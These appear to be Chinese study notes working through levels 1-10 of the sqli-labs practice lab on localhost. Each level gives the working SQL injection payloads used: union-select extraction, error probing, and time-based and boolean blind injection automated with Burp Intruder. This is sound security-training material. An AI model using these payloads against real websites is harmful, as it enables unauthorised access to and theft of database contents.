sqli-labs(Less1-10)

Less-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /pages/sqli-labs-master/Less-1/?id=' HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1/pages/sqli-labs-master/index.html
Connection: keep-alive
Cookie: PHPSESSID=1ogkr39i69bg8jmka02kk5c0c0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
  • 解题思路

1)先添加参数id='

页面报错
判断存在sql注入,并且输入id=1后有回显,判断是联合注入(优势:速度快,语句简单)

2)判断id是字符型还是数字型

添加参数id=2-1回显的是id=2的内容,所以判断是字符型注入

猜测后端sql语句为SELECT * FROM TABLE WHERE id = '$_GET['id']'

3)判断查询列数

构造payload(闭合前面的语句,注释后面的语句)1'+order+by+1+--+

页面报错

说明查询出来了3列

4)判断显示的是第几列

构造payload1'+union+select+1,2,3+--+,发现并没有显示1,2,3,说明他默认显示第一行数据

将第一个参数改为-1使前面的查询为空,

显示了2和3位置的信息

5)查询库名和用户

构造payload-1'+union+select+1,user(),database()+--+

查出用户名和库名

less-2

输入id='报错,存在sql注入

输入id=2-1,页面内容和id=1内容相同,所以判断是数字型注入

输入1+order+by+1+--+判断查询出3列

输入-1+union+select+1,2,3+--+显示了2和3列

-1+union+select+1,user(),database()+--+查出库名

less-3

输入id='报错,存在sql注入,并且报错信息显示在)附近判断闭合方式为('id')

依次使用order by和select判断显示位置和列

-1')+union+select+1,user(),database()+--+查出库名

less-4

单引号不报错双引号报错,并且报错信息显示有)判断闭合方式为("id")

依次使用order by和select判断显示位置和列

-1")+union+select+1,user(),database()+--+查出库名

less-5

单引号报错双引号无回显,报错信息里面没有括号说明是一个单引号闭合

id=1发现输入正确显示的字符串是一样的,因此可以使用时间盲注或者布尔盲注

1)判断数据库名长度

1’+and+if(length(database())<10,sleep(2),1)+–+ delay:2022ms

1’+and+if(length(database())<5,sleep(2),1)+–+ delay:9ms

1’+and+if(length(database())=6,sleep(2),1)+–+ delay:8ms

1’+and+if(length(database())=7,sleep(2),1)+–+ delay:8ms

1’+and+if(length(database())=8,sleep(2),1)+–+ delay:2009ms

2)判断数据库每一位字母

使用burp的intruder模块

添加两个pyload位置,第一个位置为数据库的第几个字母(1-8),第二个位置是从大写A的ASCII到小写z的ASCII,爆破方法选择集束炸弹(clusterBomb)

根据pyload1对pyload2排序得到115.101.99.117.114.105.116.121(security)

less-6

双引号报错单引号无回显,报错信息里面没有括号说明是一个双引号闭合

id=1发现输入正确显示的字符串是一样的,因此可以使用时间盲注或者布尔盲注

与less-5思路相同,仅闭合方式为双引号

less-7

输入单引号双引号均报错但不显示报错信息,输入正确id输出也都是一样的

输入1'报错但是输入1"不报错,所以可以判断有单引号

输入1')+--+报错,增加括号1'))+--+发现正常显示所以闭合方式为(('id'))接下来使用盲注即可的出数据库名

less-8

发现输入正确的id会显示一个固定内容,输入错的什么也不显示

输入1'+--+有回显,则闭合方式为一个单引号

所以此时可以用布尔盲注

1'+and+length(database())<10+--+ 有回显

1'+and+length(database())<5+--+ 无回显

1'+and+length(database())=6+--+ 无回显

1'+and+length(database())=7+--+ 无回显

1'+and+length(database())=8+--+ 有回显

1'+and+ascii(substr(database(),§1§,1))=§97§+--+

爆破出库名

less-9

发现无论输入什么都是显示一个结果,所以这里只能使用时间盲注了

先判断闭合方式1'+and+sleep(5)+--+页面延迟超过两秒所以判断闭合方式为单引号

接下来过程与less-6时间盲注相同

less-10

发现无论输入什么都是显示一个结果,所以这里只能使用时间盲注了

先判断闭合方式1"+and+sleep(5)+--+页面延迟超过两秒所以判断闭合方式为双引号

接下来过程与less-6时间盲注相同